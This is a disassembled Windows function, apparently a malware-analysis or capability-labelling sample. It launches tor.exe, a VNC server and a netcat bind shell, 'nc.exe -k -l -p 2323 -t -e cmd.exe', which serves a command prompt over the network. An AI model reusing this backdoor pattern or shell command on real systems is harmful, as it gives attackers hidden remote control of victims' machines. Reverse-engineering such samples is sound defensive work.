Function at 0x401a80
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404473
mov eax, dword fs:[0]
push eax
sub esp, 0xc0
mov eax, dword [0x407040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.tor.exe
lea ecx, [ebp - 0xa0]
call fcn.00402b80
push str.tvnserver.exe
lea ecx, [ebp - 0x88]
mov dword [ebp - 4], 0
call fcn.00402b80
push str.nc.exe
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 1
call fcn.00402b80
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 2
call fcn.00401220
mov edi, dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test al, al
jne 0x401bc2
push str.tor.exe__f_torrc
lea ecx, [ebp - 0xc8]
call fcn.00402b80
push 0x40
lea eax, [ebp - 0x54]
mov dword [ebp - 0x58], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x2c], 1
lea ecx, [ebp - 0xb0]
xor eax, eax
cmp dword [ebp - 0xb4], 7
mov word [ebp - 0x28], ax
lea eax, [ebp - 0xc8]
cmova eax, dword [ebp - 0xc8]
push ecx
lea ecx, [ebp - 0x58]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push eax
push 0
call edi
test eax, eax
je 0x401b80
push dword [ebp - 0xb0]
call esi
push dword [ebp - 0xac]
call esi
mov ecx, dword [ebp - 0xb4]
cmp ecx, 7
jbe 0x401bc2
mov edx, dword [ebp - 0xc8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401bb8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401bb8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040356d
add esp, 8
lea ecx, [ebp - 0x88]
call fcn.00401220
test al, al
jne 0x401c8f
push str.tvnserver.exe
lea ecx, [ebp - 0xc8]
call fcn.00402b80
push 0x40
lea eax, [ebp - 0x54]
mov dword [ebp - 0x58], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x2c], 1
lea ecx, [ebp - 0xb0]
xor eax, eax
cmp dword [ebp - 0xb4], 7
mov word [ebp - 0x28], ax
lea eax, [ebp - 0xc8]
cmova eax, dword [ebp - 0xc8]
push ecx
lea ecx, [ebp - 0x58]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push eax
push 0
call edi
test eax, eax
je 0x401c4d
push dword [ebp - 0xb0]
call esi
push dword [ebp - 0xac]
call esi
mov ecx, dword [ebp - 0xb4]
cmp ecx, 7
jbe 0x401c8f
mov edx, dword [ebp - 0xc8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401c85
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401c85
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040356d
add esp, 8
lea ecx, [ebp - 0x70]
call fcn.00401220
test al, al
jne 0x401d59
push str.nc.exe__k__l__p_2323__t__e_cmd.exe
lea ecx, [ebp - 0xc8]
call fcn.00402b80
push 0x40
lea eax, [ebp - 0x54]
mov dword [ebp - 0x58], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x2c], 1
lea ecx, [ebp - 0xb0]
xor eax, eax
cmp dword [ebp - 0xb4], 7
mov word [ebp - 0x28], ax
lea eax, [ebp - 0xc8]
cmova eax, dword [ebp - 0xc8]
push ecx
lea ecx, [ebp - 0x58]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push eax
push 0
call edi
test eax, eax
je 0x401d17
push dword [ebp - 0xb0]
call esi
push dword [ebp - 0xac]
call esi
mov ecx, dword [ebp - 0xb4]
cmp ecx, 7
jbe 0x401d59
mov edx, dword [ebp - 0xc8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401d4f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401d4f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040356d
add esp, 8
mov ecx, dword [ebp - 0x5c]
cmp ecx, 7
jbe 0x401d8f
mov edx, dword [ebp - 0x70]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401d85
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401dfa
push ecx
push edx
call fcn.0040356d
add esp, 8
mov ecx, dword [ebp - 0x74]
cmp ecx, 7
jbe 0x401dc8
mov edx, dword [ebp - 0x88]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401dbe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401dfa
push ecx
push edx
call fcn.0040356d
add esp, 8
mov ecx, dword [ebp - 0x8c]
cmp ecx, 7
jbe 0x401e0a
mov edx, dword [ebp - 0xa0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401e00
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401e00
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040356d
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040352f
mov esp, ebp
pop ebp
ret